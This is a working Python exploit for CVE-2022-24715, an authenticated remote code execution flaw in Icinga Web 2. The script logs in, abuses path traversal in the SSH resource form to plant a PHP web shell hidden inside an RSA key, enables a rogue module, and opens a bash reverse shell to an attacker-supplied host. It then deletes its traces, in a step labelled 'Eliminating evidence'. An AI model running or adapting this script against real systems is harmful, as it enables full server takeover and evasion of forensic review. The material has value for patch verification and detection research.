1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 |
#!/usr/bin/env python3 # Exploit Title: Icinga Web 2.10 - Authenticated Remote Code Execution # Date: 8/07/2023 # Exploit Author: Dante Corona(Aka. cxdxnt) # Software Link: https://github.com/Icinga/icingaweb2 # Vendor Homepage: https://icinga.com/ # Software Link: https://github.com/Icinga/icingaweb2 # Version: <2.8.6, <2.9.6, <2.10 # Tested on: Icinga Web 2 Version 2.9.2 on Linux # CVE: CVE-2022-24715 # Based on: https://nvd.nist.gov/vuln/detail/CVE-2022-24715 import requests,argparse,re,random,string from colorama import Fore,Style def letter_random(): letras = string.ascii_lowercase character_random = random.choices(letras, k=6) return ''.join(character_random) def users_url_password(): parser = argparse.ArgumentParser(description='Descripción de tu programa.') parser.add_argument('-u', '--url',type=str,required=True, help='Insertar la URL http://ip_victima') parser.add_argument('-U', '--user',type=str, required=True ,help='Insertar usuario -U user') parser.add_argument('-P', '--password',type=str, required=True ,help='Insertar contraseña -P password') parser.add_argument('-i', '--ip',type=str,required=True,help='Insertar IP de atacante -i IP') parser.add_argument('-p','--port',type=str, required=True,help='Insertar puerto de atacante -p PORT') args = parser.parse_args() url = args.url user = args.user password=args.password ip_attack = args.ip port_attack = args.port return url,user,password,ip_attack,port_attack def login(url,user,password): try: login_url = url + "/icingaweb2/authentication/login" session = requests.Session() r = session.get(login_url) csrf_regex = re.findall(r'name="CSRFToken" value="([^"]*)"',r.text)[0] data_post = {"username":user, "password":password, "CSRFToken":csrf_regex, "formUID":"form_login", "btn_submit":"Login" } response = session.post(login_url,data=data_post) if "Welcome to Icinga Web!" in response.text: print(f"{Fore.GREEN}[*]{Style.RESET_ALL}Session successfully.") r = session.get(login_url) else: print("[!]Failed to login.") exit(1) #return session,csrf_regex except requests.exceptions.InvalidURL: print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} Error URL :(") exit(1) return session,csrf_regex def upload_file(session,url,character_random,csrf_regex): webshell = f"""-----BEGIN RSA PRIVATE KEY----- MIIBOgIBAAJBAKj34GkxFhD90vcNLYLInFEX6Ppy1tPf9Cnzj4p4WGeKLs1Pt8Qu KUpRKfFLfRYC9AIKjbJTWit+CqvjWYzvQwECAwEAAQJAIJLixBy2qpFoS4DSmoEm o3qGy0t6z09AIJtH+5OeRV1be+N4cDYJKffGzDa88vQENZiRm0GRq6a+HPGQMd2k TQIhAKMSvzIBnni7ot/OSie2TmJLY4SwTQAevXysE2RbFDYdAiEBCUEaRQnMnbp7 9mxDXDf6AU0cN/RPBjb9qSHDcWZHGzUCIG2Es59z8ugGrDY+pxLQnwfotadxd+Uy v/Ow5T0q5gIJAiEAyS4RaI9YG8EWx/2w0T67ZUVAw8eOMB6BIUg0Xcu+3okCIBOs /5OiPgoTdSy7bcF9IGpSE8ZgGKzgYQVZeN97YE00 -----END RSA PRIVATE KEY----- <?php system($_REQUEST["%s"]);?> """%character_random upload_url = url + "/icingaweb2/config/createresource" r = session.get(upload_url) csrf = re.findall(r'name="CSRFToken" value="([^"]*)"',r.text)[0] data_post ={"type":"ssh", "name":"shm/"+character_random, "user":f"../../../../../../../../../../../dev/shm/{character_random}/run.php", "private_key":webshell, "formUID":"form_config_resource", "CSRFToken":csrf, "btn_submit":"Save Changes" } upload_response = session.post(upload_url,data=data_post) check = requests.get(url + f"/icingaweb2/lib/icinga/icinga-php-thirdparty/dev/shm/{character_random}/run.php") if check.status_code != 200 : print(f"{Fore.YELLOW}[!]{Style.RESET_ALL}Error uploading file. :(") exit(1) else: print(f"{Fore.GREEN}[*]{Style.RESET_ALL}File uploaded successfully.") def enable_module(session,url,character_random): url_module = url+"/icingaweb2/config/general" r_module = session.get(url_module) csrf_module = re.findall(r'name="CSRFToken" value="([^"]*)"',r_module.text)[0] data_post = {"global_show_stacktraces":"0", "global_show_stacktraces":"1", "global_show_application_state_messages":"0", "global_show_application_state_messages":"1", "global_module_path":"/dev/shm/", "global_config_resource":"icingaweb2", "logging_log":"none", "themes_default":"Icinga", "themes_disabled":"0", "authentication_default_domain":"", "formUID":"form_config_general", "CSRFToken":f"{csrf_module}", "btn_submit":"Save Changes" } resul = session.post(url_module,data_post) #-------------------------------------------------- url_enable = url +"/icingaweb2/config/moduleenable" r_enable = session.get(url_enable) csrf_enable = re.findall(r'name="CSRFToken" value="([^"]*)"',r_enable.text)[0] data_enable = {"identifier":f"{character_random}","CSRFToken":f"{csrf_enable}","btn_submit":"btn_submit"} resul_enable = session.post(url_enable,data_enable) def reverse_shell(session,url,ip_attack,port_attack,character_random): reverse_url = url + "/icingaweb2/dashboard" reverse_exe_one = reverse_url + f'?{character_random}=echo+"bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{ip_attack}%2F{port_attack}%200%3E%261"+>+/tmp/{character_random}' reverse_exe_two = reverse_url + f"?{character_random}=bash+/tmp/{character_random} &" reverse_response_one = session.get(reverse_exe_one) try: reverse_response_two = session.get(reverse_exe_two, timeout=5) except: print(f"{Fore.RED}[*]{Style.RESET_ALL}Eliminating evidence") remove = session.get(reverse_url + f"?{character_random}=rm+/tmp/{character_random}") disable_url = url + "/icingaweb2/config/moduledisable" r_disable = session.get(disable_url) csrf_disable = re.findall(r'name="CSRFToken" value="([^"]*)"',r_disable.text)[0] data_disable = {"identifier":f"{character_random}","CSRFToken":csrf_disable,"btn_submit":"btn_submit"} response_disable = session.post(disable_url,data=data_disable) def disable_module(session,url,character_random): url_disable = url + "/icingaweb2/config/moduledisable" if __name__ == '__main__': character_random = letter_random() url,user,password,ip_attack,port_attack = users_url_password() session,csrf_regex = login(url,user,password) upload_file(session,url,character_random,csrf_regex) enable_module(session,url,character_random) reverse_shell(session,url,ip_attack,port_attack,character_random) |